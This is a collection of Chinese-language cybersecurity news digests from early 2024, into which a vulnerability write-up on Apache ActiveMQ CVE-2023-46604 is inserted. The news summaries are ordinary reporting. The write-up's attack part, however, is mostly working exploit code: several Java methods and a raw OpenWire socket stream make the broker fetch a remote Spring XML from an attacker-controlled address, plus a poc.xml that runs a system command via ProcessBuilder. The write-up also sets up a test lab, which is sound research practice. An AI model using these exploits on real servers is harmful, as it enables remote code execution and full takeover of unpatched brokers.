1、攻击者滥用X传播恶意加密货币广告呈现上升趋势 https://www.bleepingcomputer.com/news/security/x-users-fed-up-with-constant-stream-of-malicious-crypto-ads/ 攻击者正在滥用 X 广告来推广导致加密货币流失、虚假空投和其他诈骗的网站。与所有广告平台一样，X（以前称为 Twitter）声称会根据用户的活动展示广告， 从而产生符合用户兴趣的广告。虽然 Elon 此前曾在推特上表示 YouTube 是不间断的诈骗广告，但 X 似乎也有自己的问题，越来越多地展示宣传加密货币诈骗的广告。这些诈骗包括宣传拉高和转储的 Telegram 频道的链接、 2、攻击者针对存在漏洞的Apache RocketMQ服务器发起攻击 https://www.bleepingcomputer.com/news/security/hackers-target-apache-rocketmq-servers-vulnerable-to-rce-attacks/ 安全研究人员每天都会检测到数百个 IP 地址，这些地址扫描或试图利用易受 CVE-2023-33246 和 CVE-2023-37582 远程命令执行缺陷影响的 Apache RocketMQ 服务。这两个漏洞均具有严重严重性评分，并指的是供应商于 2023 年 5 月发布初始补丁后仍然存在的问题。最初，该安全问题被跟踪为 CVE-2023-33246 ，并影响多个组件 3、Web3安全公司CertiK的X账户被盗取并用于散布钓鱼网站 https://www.bleepingcomputer.com/news/security/web3-security-firm-certiks-x-account-hacked-to-push-crypto-drainer/ 区块链安全公司CertiK的Twitter/X帐户被盗取，超过343,000名关注者被重定向到一个推送加密货币钱包盗取程序的恶意网站。加密货币欺诈侦探ZachXBT 随后公开了网络钓鱼攻击的私信屏幕截图，显示攻击者使用一名记者的被黑账户发送网络钓鱼消息，该记者自2020 年以来一直处于休眠状态，拥有超过100万粉丝，攻击者者利用这个被黑的账户联系了 Certik，询 4、攻击者利用YouTube视频传播破解软件以分发Lumma窃取器 https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube 攻击者利用包含与破解软件相关内容的 YouTube 视频来诱骗用户下载名为 Lumma 的信息窃取恶意软件。这些 YouTube 视频通常包含与破解应用程序相关的内容，为用户提供类似的安装指南，并包含通常使用 TinyURL 和 Cuttly 等服务缩短的恶意 URL。这并不是 YouTube 上的盗版软件视频第一次成为窃取恶意软件的有效诱饵。此前曾观察到类似的攻击链会传播窃取程序、剪切程序和加密货币挖矿恶意软件。在此过程中，威胁行为者不仅可以利用受感 5、微软紧急修复了Kerberos、Hyper-V 中的严重漏洞 https://www.securityweek.com/microsoft-ships-urgent-fixes-for-critical-flaws-in-windows-kerberos-hyper-v/ 微软周二补丁日修补了困扰 Windows Kerberos 和 Windows Hyper-V 的关键远程代码执行漏洞。 6、CISA 警告 Apache Superset 严重漏洞被利用 https://www.securityweek.com/cisa-warns-of-apache-superset-vulnerability-exploitation/ CISA 已将一个严重级别的 Apache Superset 缺陷 (CVE-2023-27524) 添加到其已知的可利用漏洞目录中。周二Adobe 修复了 Substance 3D Stager 产品中的六个安全漏洞，并警告 Windows 和 macOS 上的代码执行风险。 7、LockBit 勒索团伙对 Capital Health 进行了网络攻击 https://securityaffairs.com/157170/cyber-crime/lockbit-ransomware-hit-capital-health.html LockBit勒索软件行动声称对 2023 年 11 月袭击 Capital Health 医院网络的网络攻击负责。 8、土耳其黑客在全球范围内攻击MS SQL 服务器 https://thehackernews.com/2024/01/turkish-hackers-exploiting-poorly.html 作为正在进行的出于经济动机以获得初始访问权限的活动的一部分，美国、欧盟和拉丁美洲 (LATAM) 地区的安全性较差的 Microsoft SQL (MS SQL) 服务器成为目标。 9、美国抵押贷款机构 loanDepot 遭遇勒索软件攻击 https://www.freebuf.com/news/389190.html 美国一家抵押贷款机构 loanDepot 遭遇一场严重的勒索软件攻击，最终导致其很多内部数据被威胁攻击者加密了。 10、工信部组织开展网络安全保险服务试点工作 https://www.freebuf.com/news/389176.html 2023年12月21日，工业和信息化部发布《工业和信息化部办公厅关于组织开展网络安全保险服务试点工作的通知》。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

漏洞简介 Apache ActiveMQ官方发布新版本，修复了一个远程代码执行漏洞（CNVD-2023-69477  CVE-2023-46604），攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行，从而完全控制Apache ActiveMQ服务器。 影响版本 Apache ActiveMQ 5.18.0 before 5.18.3 Apache ActiveMQ 5.17.0 before 5.17.6 Apache ActiveMQ 5.16.0 before 5.16.7 Apache ActiveMQ before 5.15.16 Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3 Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6 Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7 Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16 ‍ 环境搭建 没有找到合适的 docker 镜像 ，尝试自己进行编写 可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile docker pull islandora/activemq:2.0.7 dfimage islandora/activemq:2.0.7 结合 https://activemq.apache.org/version-5-getting-started Dockerfile FROM ubuntu #ENV DEBIAN_FRONTEND noninteractive RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list RUN apt-get update -y RUN apt-get install wget -y RUN apt install openjdk-11-jre-headless -y COPY apache-activemq-5.18.2-bin.tar.gz / #RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz RUN chmod 755 /apache-activemq-5.18.2/bin/activemq RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh RUN chmod +x start.sh EXPOSE 8161 61616 CMD ["/start.sh"] ## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml docker-compose.yml version: "2.2" services: activemq:   build: .   ports:     - "8161:8161"     - "61616:61616" ./activemq start ./activemq status ./activemq console netstat -tuln | grep 8161 netstat -tuln | grep 61616 ‍ 漏洞分析 下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip 开启调试只需要修改 apache-activemq-5.18.2\bin\activemq https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3 新版本的修复位置是在 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable ClassName 和 message 可控，代表着可以调用任意类的 String 构造方法，AvtiveMQ 内置 Spring，结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。 寻找调用该方法的位置 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable 继续向上寻找调用 网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析 org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal 继续向上寻找调用 org.apache.activemq.openwire.OpenWireFormat#doUnmarshal 我们看到此时 dsm 的值是基于传入的 dis.readByte(); <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/> ActiveMQ中默认的消息协议就是openwire ‍编写一个 ActiveMQ 的通信请求 public static void sendToActiveMQ() throws Exception {        /*         * 创建连接工厂，由 ActiveMQ 实现。构造方法参数         * userName 用户名         * password 密码         * brokerURL 访问 ActiveMQ 服务的路径地址，结构为: 协议名://主机地址:端口号         */        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");        //创建连接对象        Connection connection = connectionFactory.createConnection();        //启动连接        connection.start();        /*         * 创建会话，参数含义:         * 1.transacted - 是否使用事务         * 2.acknowledgeMode - 消息确认机制，可选机制为：         * 1）Session.AUTO_ACKNOWLEDGE - 自动确认消息         * 2）Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制         * 3）Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制         */        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        //创建目的地，也就是队列名        Destination destination = session.createQueue("q_test");        //创建消息生成者，该生成者与目的地绑定        MessageProducer mProducer = session.createProducer(destination);        //创建消息        Message message = session.createTextMessage("Hello, ActiveMQ");        //发送消息        mProducer.send(message);        connection.close();   } 前面的调用栈为 doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire) unmarshal:290, OpenWireFormat (org.apache.activemq.openwire) readCommand:240, TcpTransport (org.apache.activemq.transport.tcp) doRun:232, TcpTransport (org.apache.activemq.transport.tcp) run:215, TcpTransport (org.apache.activemq.transport.tcp) run:829, Thread (java.lang) 此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller 花式触发 ExceptionResponseMarshaller 现在我们的目的就是为了去调用 ExceptionResponseMarshaller 寻找触发 ActiveMQ 中的 ExceptionResponse 函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和 函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command 最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse); 来触发 ‍    public static void ExceptionResponseExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ExceptionResponse expetionResponse = new ExceptionResponse();        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(expetionResponse);        //ExploitSession.asyncSendPacket(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);        connection.close();   } 由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型，但是 ClassPathXmlApplicationContext 不是该类型，所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码 package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);   } } 相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller   public static void ConnectionErrorExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ConnectionError connectionError = new ConnectionError();        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        //ExploitSession.syncSendPacket(connectionError);        //ExploitSession.asyncSendPacket(connectionError);       ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);        connection.close();   }    public static void MessageAckExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        MessageAck messageAck  = new MessageAck();        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(messageAck);        //ExploitSession.asyncSendPacket(messageAck);        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);        connection.close();   } ‍通过数据流进行触发 ExceptionResponseMarshaller ‍主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller        String ip = "127.0.0.1";        int port = 61616;        String pocxml= "http://192.168.184.1:9090/poc.xml";        Socket sck = new Socket(ip, port);        OutputStream os = sck.getOutputStream();        DataOutputStream out = new DataOutputStream(os);        out.writeInt(0); //        out.writeByte(31); //dataType ExceptionResponseMarshaller        out.writeInt(1); //CommandId        out.writeBoolean(true); //ResponseRequired        out.writeInt(1); //CorrelationId        out.writeBoolean(true);        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF(pocxml);        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce        out.close();        os.close();        sck.close(); ‍通过伪造类实现触发 ExceptionResponse ‍我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand 利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal org.apache.activemq.transport.tcp.TcpTransport#oneway 通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑，运行时优先触发本地的 TcpTransport 类 /**     * A one way asynchronous send     */    @Override    public void oneway(Object command) throws IOException {        checkStarted();        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");        ExceptionResponse response = new ExceptionResponse(obj);        wireFormat.marshal(response, dataOut);        dataOut.flush();   } 将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ，同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型，但是 ClassPathXmlApplicationContext 不是该类型，所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码 package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);   } } ‍poc.xml <?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>touch</value>                <value>/tmp/1.txt</value>            </list>            </constructor-arg>        </bean>    </beans> ‍漏洞复现 ‍

1、朝鲜攻击者在2023年窃取了6亿美元的加密货币 https://www.trmlabs.com/post/north-korean-hackers-stole-600-million-in-crypto-in-2023 2023 年，隶属于朝鲜民主主义人民共和国（也称为朝鲜）的威胁行为者已经掠夺了至少 6 亿美元的加密货币。尽管比 2022 年的 8.5 亿美元减少了 30%，但朝鲜“在去年加密货币攻击中被盗的资金中几乎占到了三分之一”。朝鲜实施的黑客攻击造成的平均破坏性是与朝鲜无关的黑客攻击的十倍。有迹象表明，到 2023 年底，针对加密货币行业的更多违规行为可能会将这一数字推高至 7 亿美元左右。对于朝鲜国家支持的行为者来说，针对加密 2、AsyncRAT恶意软件针对美国基础设施攻击持续11个月 https://cybersecurity.att.com/blogs/labs-research/asyncrat-loader-obfuscation-dgas-decoys-and-govno 向选定目标传送 AsyncRAT 恶意软件的活动至少在过去 11 个月内一直活跃，使用了数百个独特的加载程序样本和 100 多个域。AsyncRAT 是一款适用于 Windows 的开源远程访问工具 (RAT)，自 2019 年起公开发布，具有远程命令执行、键盘记录、数据泄露和删除额外负载的功能。多年来，该工具已被网络攻击者大量使用，无论是原样还是修改后的形式，用于在目标上建立立足点、窃取文件和 3、量子安全算法CRYSTALS-Kyber存在KyberSlash安全缺陷 https://github.com/pq-crystals/kyber 用于量子安全加密的 Kyber 密钥封装机制的多种实现很容易受到一组统称为 KyberSlash 的漏洞的影响，这些缺陷可能允许恢复秘密密钥。CRYSTALS-Kyber 是量子安全算法 (QSA) 的 Kyber 密钥封装机制 (KEM) 的官方实现，也是 CRYSTALS（代数格密码学套件）算法套件的一部分。它专为通用加密而设计，是美国国家标准与技术研究所 (NIST) 选择旨在抵御量子计算机攻击的算法的一部分。使用 Kyber 实现的一些流行项目包括 Mulvad VPN 和 SignalMessenger。后者 4、QNAP 修补QTS等多个产品中的高严重性漏洞 https://www.securityweek.com/qnap-patches-high-severity-flaws-in-qts-video-station-qumagie-netatalk-products/ QNAP 已针对其产品中的十几个漏洞发布了补丁，其中包括几个高严重性漏洞。 5、瑞士空军敏感文件在黑客攻击中被盗 https://securityaffairs.com/157144/cyber-crime/swiss-air-force-data-leak.html 由于美国安全提供商遭受网络攻击，瑞士空军的文件在暗网上泄露。 6、沙特部委暴露敏感数据长达 15 个月 https://securityaffairs.com/157133/security/saudi-ministry-data-leak.html 沙特工业和矿产资源部 (MIM) 的环境文件被曝光，敏感细节向任何愿意获取这些信息的人开放。 7、报告：2023 年网络攻击使 Web3 损失 18.4 亿美元 https://www.infosecurity-magazine.com/news/cyber-attacks-drain-web3 根据 Certik 的Hack3d：2023 年 Web3 安全报告，2023年，针对 Web3 的网络攻击共发生 751 起事件，给组织造成了 18.4 亿美元的损失。 8、交通运输部印发《铁路关键信息基础设施安全保护管理办法》 https://www.freebuf.com/news/389150.html 因此，为保障铁路系统的安全稳定运行，必须制定一套全面有效的管理办法，以加强铁路关键信息基础设施的安全保护。基于这样的背景，中华人民共和国交通运输部近期公布了《铁路关键信息基础设施安全保护管理办法》（以下简称《办法》），进一步完善了我国铁路关键基础设施信息安全保障体系。（《办法》已于 2023 年 12 月 1 日经第 27 次部务会议通过，自 2024年 2 月 1 日起施行） 9、黑客劫持 X 上的政府和企业认证账户用于加密货币诈骗 https://www.bleepingcomputer.com/news/security/hackers-hijack-govt-and-business-accounts-on-x-for-crypto-scams/ 来越多黑客盯上了 X（原 Twitter）上的政府和企业官方账户，这些认证账户侧边一般都标有 "金色 "或 "灰色 "对勾。黑客劫持这些账号后，会借助其进行推广加密货币诈骗、钓鱼网站和加密货币放水网站等。 https://www.bleepingcomputer.com/news/security/hackers-hijack-govt-and-business-accounts-on-x-for-crypto-scams/ 10、Zeppelin勒索软件源码在暗网以 500 美元的价格售出 https://www.bleepingcomputer.com/news/security/zeppelin-ransomware-source-code-sold-for-500-on-hacking-forum/ 一名威胁行为者在一个网络犯罪论坛上宣布，他们仅以 500 美元的价格出售了 Zeppelin 勒索软件生成器的源代码和破解版。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、研究人员披露GXC Team团伙利用AI进行网络欺诈 https://www.resecurity.com/blog/article/cybercriminals-implemented-artificial-intelligence-ai-for-invoice-fraud 研究人员发现了一个名为“ GXC Team ”的网络犯罪派别，该派别专门制作用于网上银行盗窃、电子商务欺骗和互联网诈骗的工具。2023 年 11 月 11 日左右，该组织的领导者以别名“ googleXcoder ”运作，在暗网上发布了多项公告。除夕夜，该组织宣布大幅降价，为其在暗网上销售的产品提供高达 20% 的折扣。这些帖子介绍了一种新工具，该工具结合了人工智能 (A 2、研究人员发现宝马公司子域存在SAP重定向漏洞 https://securityaffairs.com/156843/reports/bmw-affected-by-redirect-vulnerability.html 研究人员发现两个 BMW 子域容易受到 SAP 重定向漏洞的影响。它们被用来访问宝马经销商的内部工作场所系统，并且可能对攻击者进行鱼叉式网络钓鱼活动或恶意软件分发有用。SAP 重定向漏洞是一个影响 SAP 产品（SAP NetWeaver 应用程序服务器 Java）的 Web 应用程序服务器的安全问题。这意味着任何人都可以通过添加如下字符串来使用这些子域伪造重定向链接：“sap/public/bc/icf/logoff? 3、Cross Switch遭遇数据泄露影包含360万条隐私记录 https://thecyberexpress.com/cross-switch-data-breach/ Cross Switch 是在线支付网关管理领域的领先公司，目前正在处理重大数据泄露的后果。据报道，Cross Switch 数据泄露事件是由一个名为 IntelBroker 的威胁行为者实施的，据称已泄露了 360 万用户的个人信息。这包括敏感详细信息，例如全名、电子邮件、电话号码、消息、物理位置、银行信息、不记名令牌、出生日期和用户名。由于泄露的数据包括大量的个人信息，这一事件对于受影响的用户来说尤其令人担忧。 4、研究人员发现3个针对Linux的恶意PyPI软件包 https://www.fortinet.com/blog/threat-research/malicious-pypi-packages-deploy-coinminer-on-linux-devices Python Package Index (PyPI) 开源存储库中发现了三个新的恶意软件包，它们能够在受影响的 Linux 设备上部署加密货币挖矿程序。这三个有害软件包分别名为 moduleseven、driftme 和 catme，在被删除之前的一个月内总共吸引了 431 次下载。这些软件包在初次使用时，会在 Linux 设备上部署 CoinMiner 可执行文件。该活动与之前的一次 5、Ivanti警告关键的EPM漏洞可导致攻击者劫持注册设备 https://www.bleepingcomputer.com/news/security/ivanti-warns-critical-epm-bug-lets-hackers-hijack-enrolled-devices/ Ivanti 修复了其端点管理软件 (EPM) 中的一个严重远程代码执行 (RCE) 漏洞，该漏洞可让未经身份验证的攻击者劫持注册设备或核心服务器。Ivanti EPM 可帮助管理运行各种平台（从 Windows 和 macOS 到 Chrome OS 和 IoT 操作系统）的客户端设备。该安全漏洞（追踪为CVE-2023-39366）影响所有受支持的 Ivanti 6、CISA警告Chrome和Excel解析库中存在被主动利用的漏洞 https://www.bleepingcomputer.com/news/security/cisa-warns-of-actively-exploited-bugs-in-chrome-and-excel-parsing-library/ 美国网络安全和基础设施安全局已在已知利用漏洞目录中添加了两个漏洞，一个是 Google Chrome 中最近修补的缺陷，另一个是影响开源 Perl 库的错误，该库用于读取名为 Spreadsheet:arseExcel 的 Excel 文件中的信息。美国网络防御机构已要求联邦机构在 1 月 23 日之前根据供应商指示缓解 CVE-2023-7024 和 7、Cisco ASA的远程命令注入漏洞在暗网以100万美元价格出售 https://thecyberexpress.com/cisco-remote-command-injection-vulnerability 据称，名为“xc7d2f4”的威胁参与者正在出售 Cisco ASA 的远程命令注入漏洞。威胁发起者声称该漏洞存在于所有 55XX 系列的思科自适应安全设备 (ASA) 上。远程命令注入是一种涉及未经授权执行操作系统命令的攻击方法。当应用程序不安全地处理不受信任的输入来构建操作系统命令时，就会发生这种情况，通常是由于数据清理不充分和/或外部程序调用不当造成的。自适应安全设备（或 ASA）结合了防火墙、防病毒、入侵防御和 VPN 功能。它提供主动威胁 8、贝鲁特国际机场遭受网络攻击 https://securityaffairs.com/157079/hacking/cyber-attack-hit-beirut-international-airport.html 威胁行为者袭击了黎巴嫩贝鲁特拉菲克·哈里里国际机场并破坏了航班信息显示系统（FIDS）。 9、Sea Turtle网络间谍活动针对荷兰 IT 和电信公司 https://thehackernews.com/2024/01/sea-turtle-cyber-espionage-campaign.html 荷兰的电信、媒体、互联网服务提供商 (ISP)、信息技术 (IT) 服务提供商和库尔德网站已成为土耳其关系威胁组织"Sea Turtle"发起的新网络间谍活动的一部分。 10、俄罗斯黑客摧毁了乌克兰最大电信运营商的系统 https://www.freebuf.com/news/388832.html 2023年12月，俄罗斯黑客攻破了乌克兰最大的电信服务提供商Kyivstar的系统，并清除了电信运营商核心网络上的所有系统。此次事件发生后，Kyivstar的移动和数据服务中断，导致其2500万移动和家庭互联网用户中的大多数失去了互联网连接。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、攻击者劫持Orange Spain的RIPE帐户造成BGP配置更改 https://www.bleepingcomputer.com/news/security/hacker-hijacks-orange-spain-ripe-account-to-cause-bgp-havoc/ Orange Spain 今天遭遇互联网中断，原因是一名黑客侵入了该公司的 RIPE 帐户，错误配置了 BGP 路由和 RPKI 配置。互联网上的流量路由由边界网关协议 (BGP) 处理，该协议允许组织将其 IP 地址与自治系统 (AS) 编号相关联，并将其通告给它们所连接的其他路由器（称为对等方）。这些 BGP 通告创建一个路由表，该路由表传播到互联网上的所有其他边缘路由器，从 2、LastPass通知用户更改为12个字符的主密码以提高安全性 https://blog.lastpass.com/2024/01/lastpass-is-making-account-updates-heres-why/ LastPass今天通知客户，他们现在需要使用至少 12 个字符的复杂主密码，以提高帐户的安全性。尽管 LastPass 自 2018 年以来一再表示 主密码要求为 12 个字符，但用户仍然可以使用较弱的密码。自 2023 年 4 月起，LastPass 开始对新帐户或密码重置强制执行 12 个字符的主密码要求，但旧帐户仍可以使用少于 12 个字符的密码。从本月开始，LastPass 对所有帐户强制执行 12 个字符的主密码要求。此外 3、HealthEC遭遇数据泄露影响了450万患者 https://www.healthec.com/cyber-incident/ HealthEC LLC 是一家健康管理解决方案提供商，遭遇了数据泄露，影响了通过该公司客户之一接受护理的近 450 万人。HealthEC 提供了一个人口健康管理 (PHM) 平台，医疗保健组织可以使用该平台进行数据集成、分析、护理协调、患者参与、合规性和报告。12 月 22 日，该公司披露，其在 2023 年 7 月 14 日至 23 日期间遭遇数据泄露，导致其部分系统遭到未经授权的访问。对该事件的调查于 2023 年 10 月 24 日结束，调查显示入侵者从托管以下数据类型的受破坏系统中窃取了文件：姓名、 4、谷歌在 2024年首次 Chrome 更新中修复了6个漏洞 https://www.securityweek.com/google-patches-six-vulnerabilities-with-first-chrome-update-of-2024/ 谷歌发布了 Chrome 120 更新，以解决六个漏洞，其中包括外部研究人员报告的四个漏洞。 5、UAC-0050使用新的网络钓鱼策略来分发 Remcos RAT https://thehackernews.com/2024/01/uac-0050-group-using-new-phishing.html 名为 UAC-0050 的威胁行为者正在利用网络钓鱼攻击来使用新策略分发 Remcos RAT，以逃避安全软件的检测。 6、ChatGPT模型名被恶意注册域名超65万个 https://www.chinaz.com/ainews/4634.shtml 近期网络安全研究发现，黑客大规模注册与ChatGPT相似的域名，通过模糊用户判断，滥用ChatGPT模型信誉，引发恶意下载和信息泄露。 7、尼康、索尼和佳能用相机数字签名对抗 AI 作假 https://asia.nikkei.com/Business/Technology/Nikon-Sony-and-Canon-fight-AI-fakes-with-new-camera-tech 尼康、索尼和佳能正在开发在相机拍摄的照片中嵌入数字签名的技术，以区分日益复杂的 AI 图片。防篡改数字签名将包括日期、时间、地点和摄影师等信息。 8、欧洲央行将对银行进行网络压力测试评估抵御攻击的能力 https://www.inforisktoday.com/european-central-bank-to-put-banks-through-cyber-stress-test-a-24012 欧洲央行将从本月开始对银行进行网络压力测试，以确定其抵御网络攻击的能力。该机构要求欧洲 109 家银行在 2024 年中期之前进行漏洞评估和事件响应评估。 9、俄罗斯黑客潜伏于乌克兰电信巨头Kyivstar长达数月 https://www.secrss.com/articles/62502 路透伦敦1月4日 -乌克兰网络间谍负责人告诉路透，俄罗斯黑客至少从去年5月起就侵入了乌克兰电信巨头Kyivstar的系统，发起了一次网络攻击，这应该成为对西方的“重大警告”。这次黑客攻击是自近两年前俄罗斯全面入侵以来最严重的一次黑客攻击，从12月12日起，乌克兰最大的电信运营商为约2400万用户提供的服务中断了数天。 10、全球1100万SSH服务器面临"TerrapinAttack"威胁 https://www.secrss.com/articles/62479 安全威胁监控平台Shadowserver最近的一份报告警告说，互联网上有近1100万台SSH服务器（由唯一的IP地址标识），很容易受到水龟攻击（TerrapinAttack），从而威胁到某些SSH连接的完整性。“水龟攻击”是德国波鸿鲁尔大学安全研究人员开发的新攻击技术，。利用了SSH传输层协议的弱点，并结合了OpenSSH十多年前引入的较新的加密算法和加密模式。后者已被广泛的SSH实现所采用，因此影响当前的大多数SSH实例。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Steam放弃对Windows7和8.1的支持以提高安全性 https://help.steampowered.com/en/faqs/view/4784-4F2B-1321-800A 自 1 月 1 日起，Windows 7、Windows 8 和 Windows 8.1 不再支持 Steam，在此日期之后，这些操作系统上现有的 Steam 客户端安装将不再接收任何类型的更新，包括安全更新。该公司建议用户升级到更新的操作系统。该游戏公司去年警告称，Steam 客户端将在新年不受支持，并在游戏客户端顶部显示倒计时，显示距离游戏客户端将不再接收软件更新还有多少天。Steam 客户端现在显示还剩 0 天。Steam 支持将无法为用户提供与旧操作系统相关的 2、跨链平台Orbit Chain因安全漏洞损失8600万美元加密货币 https://www.bleepingcomputer.com/news/security/orbit-chain-loses-86-million-in-the-last-fintech-hack-of-2023/ Orbit Chain 经历了一次安全漏洞，导致加密货币损失 8600 万美元，特别是 Ether、Dai、Tether 和 USD Coin。Orbit Chain 是一个区块链平台，旨在充当多资产中心，支持各种区块链、去中心化应用程序 (DApp) 和服务之间的互操作性。该平台并不直接被投资者用来购买资产或服务，而更像是一个支持更广泛生态系统的区块链基础设施项目。由身份不 3、攻击者窃取伊朗23家领先保险公司上亿条记录 https://www.infostealers.com/article/mysterious-hacker-strikes-iran-with-major-cyberattacks-against-industry-leading-companies/ 研究人员报告称，12 月 20 日，一名名为“irleaks”的黑客宣布出售据称从伊朗 23 家领先保险公司窃取的超过 1.6 亿条记录。研究人员分析了样本数据并确认其似乎是真实的。目前尚不清楚黑客是如何同时针对如此多的保险公司的。12 月 30 日，irleaks 还声称入侵了伊朗最大的外卖平台 SnapFood，窃取了 3 TB 数据。 4、Google网上论坛将终止对Usenet的支持以打击垃圾邮件 https://www.bleepingcomputer.com/news/google/google-groups-is-ending-support-for-usenet-to-combat-spam/ 谷歌已正式宣布停止对其 Google Groups 平台上的 Usenet 群组的支持，此举部分归因于该平台与垃圾邮件内容的增多。即将发生的更改将于 2024 年 2 月 22 日生效，此后用户将无法再通过 Google 网上论坛发布、订阅或查看新的 Usenet 内容。但是，在此截止日期之前发布的历史 Usenet 内容仍可在平台上查看和搜索。这一变化主要是由于基于文本的 Usenet 5、Cactus勒索软件攻击了瑞典零售提供商COOP https://securityaffairs.com/156709/cyber-crime/cactus-ransomware-coop-sweden.html Cactus 勒索软件组织声称攻击了瑞典最大的零售和杂货提供商之一的 Coop。Coop是瑞典最大的零售和杂货供应商之一，在全国拥有约 800 